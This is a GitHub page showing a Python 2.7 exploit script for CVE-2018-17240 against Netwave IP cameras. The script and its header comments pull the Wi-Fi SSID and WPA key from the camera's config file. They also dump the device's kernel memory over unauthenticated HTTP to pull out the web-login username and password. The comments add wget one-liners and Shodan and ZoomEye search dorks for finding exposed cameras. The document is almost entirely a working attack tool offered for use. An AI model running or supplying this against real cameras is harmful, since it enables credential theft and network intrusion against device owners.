Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVE-2018-17240/exploit.py /
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
147 lines (121 sloc)
4.93 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python2.7 | |
| ## | |
| ## Run the exploit against the victim to get WIFI password | |
| ## If the victim is vulnerable to memory leak it will try to extract the username and password for the weblogin | |
| ## | |
| ## magic for you bash: | |
| ## wget -qO- http://[HOST]:[PORT]//proc/kcore | strings | |
| ## wget -qO- http://[HOST]:[PORT]//etc/RT2870STA.dat | |
| ## wget -qO- http://[HOST]:[PORT]//dev/rom0 | |
| ## wget -qO- http://[HOST]:[PORT]/get_status.cgi | |
| ## | |
| ## shodan dork: | |
| ## "Server: Netwave IP Camera" | |
| ## | |
| ## zoomeye dork: | |
| ## Netwave IP camera http config | |
| ## | |
| import sys,os,time,tailer | |
| import urllib2 | |
| import subprocess | |
| import signal | |
| from threading import Thread | |
| try: | |
| if sys.argv[1] == "-h" or sys.argv[1] == "--help": | |
| print "Usage: python pownetwave.py [HOST]:[PORT]" | |
| print "Example: python pownetwave.py 127.0.0.1:81" | |
| sys.exit(0) | |
| else: | |
| pass | |
| except IndexError: | |
| print "Usage: python pownetwave.py [HOST]:[PORT]" | |
| print "Example: python pownetwave.py 127.0.0.1:81" | |
| sys.exit(0) | |
| def signal_handler(signal, frame): | |
| print('\nclearing up..') | |
| os.system("rm -rf tmpstream.txt") | |
| os.system("rm -rf tmpstrings.out") | |
| os.system("killall -9 wget") | |
| os.system("killall -9 tail") | |
| sys.exit(0) | |
| signal.signal(signal.SIGINT, signal_handler) | |
| macaddr = "" | |
| done = 0 | |
| linecount = 0 | |
| class bcolors: | |
| HEADER = '\033[95m' | |
| OKBLUE = '\033[94m' | |
| OKGREEN = '\033[92m' | |
| WARNING = '\033[93m' | |
| FAIL = '\033[91m' | |
| ENDC = '\033[0m' | |
| BOLD = '\033[1m' | |
| UNDERLINE = '\033[4m' | |
| # f = open("ipList.txt",'r') | |
| # for line in f.readlines(): | |
| print "getting system information.."+sys.argv[1] | |
| response = urllib2.urlopen('http://'+sys.argv[1]+'/get_status.cgi') | |
| xcontent = response.read().split(";\n") | |
| for line in xcontent: | |
| if line.startswith("var id="): | |
| line = line.split("'") | |
| macaddr = line[1] | |
| else: | |
| pass | |
| print "victims MAC-ADDRESS: "+bcolors.OKGREEN+str(macaddr)+bcolors.ENDC | |
| print "getting wireless information.." | |
| try: | |
| resp = urllib2.urlopen("http://"+sys.argv[1]+"//etc/RT2870STA.dat") | |
| xcontent = resp.read().split("\n") | |
| print "victims wireless information.." | |
| for line in xcontent: | |
| if line.startswith("WPAPSK") or line.startswith("SSID"): | |
| print "\t\t"+bcolors.OKGREEN+str(line)+bcolors.ENDC | |
| else: | |
| print "\t\t"+str(line) | |
| except: | |
| print "wireless lan is disabled.." | |
| print "checking for memory dump vulnerability.." | |
| try: | |
| urllib2.urlopen('http://'+sys.argv[1]+'//proc/kcore') | |
| except: | |
| print bcolors.FAIL+"victim isnt vulnerable for a memory leak, exiting.."+bcolors.ENDC | |
| sys.exit(0) | |
| print "starting to read memory dump.. "+bcolors.WARNING+"this could take a few minutes"+bcolors.ENDC | |
| proc = subprocess.Popen("wget -qO- http://"+sys.argv[1]+"//proc/kcore > tmpstream.txt", shell=True, preexec_fn=os.setsid) | |
| os.system('echo "" >tmpstrings.out') | |
| time.sleep(1) | |
| proc2 = subprocess.Popen("tail -f tmpstream.txt | strings >>tmpstrings.out", shell=True, preexec_fn=os.setsid) | |
| print bcolors.BOLD+"hit CTRL+C to exit.."+bcolors.ENDC | |
| while 1: | |
| sys.stdout.flush() | |
| if os.stat('tmpstrings.out').st_size <= 1024: | |
| sys.stdout.write("binary data: "+str(os.stat('tmpstream.txt').st_size)+"\r") | |
| else: | |
| sys.stdout.flush() | |
| print "strings in binary data found.. password should be around line 10000" | |
| for line in tailer.follow(open('tmpstrings.out','r')): | |
| sys.stdout.flush() | |
| if done == 0: | |
| linecount+= 1 | |
| if line == macaddr: | |
| sys.stdout.flush() | |
| done = 1 | |
| print bcolors.OKGREEN+"\n\nmac address triggered.. printing the following dumps, could leak username and passwords.."+bcolors.ENDC | |
| else: | |
| sys.stdout.write(str(linecount)+"\r") | |
| elif done == 1: | |
| done = 2 | |
| print "\nfirstline.. "+bcolors.OKGREEN+line+bcolors.ENDC | |
| elif done == 2: | |
| done = 3 | |
| print "possible username: "+bcolors.OKGREEN+line+bcolors.ENDC | |
| elif done == 3: | |
| done = 4 | |
| print "possible password: "+bcolors.OKGREEN+line+bcolors.ENDC | |
| elif done == 4: | |
| done = 0 | |
| print "following line.. \n\n"+bcolors.OKGREEN+line+bcolors.ENDC | |
| else: | |
| pass | |
| signal.pause() |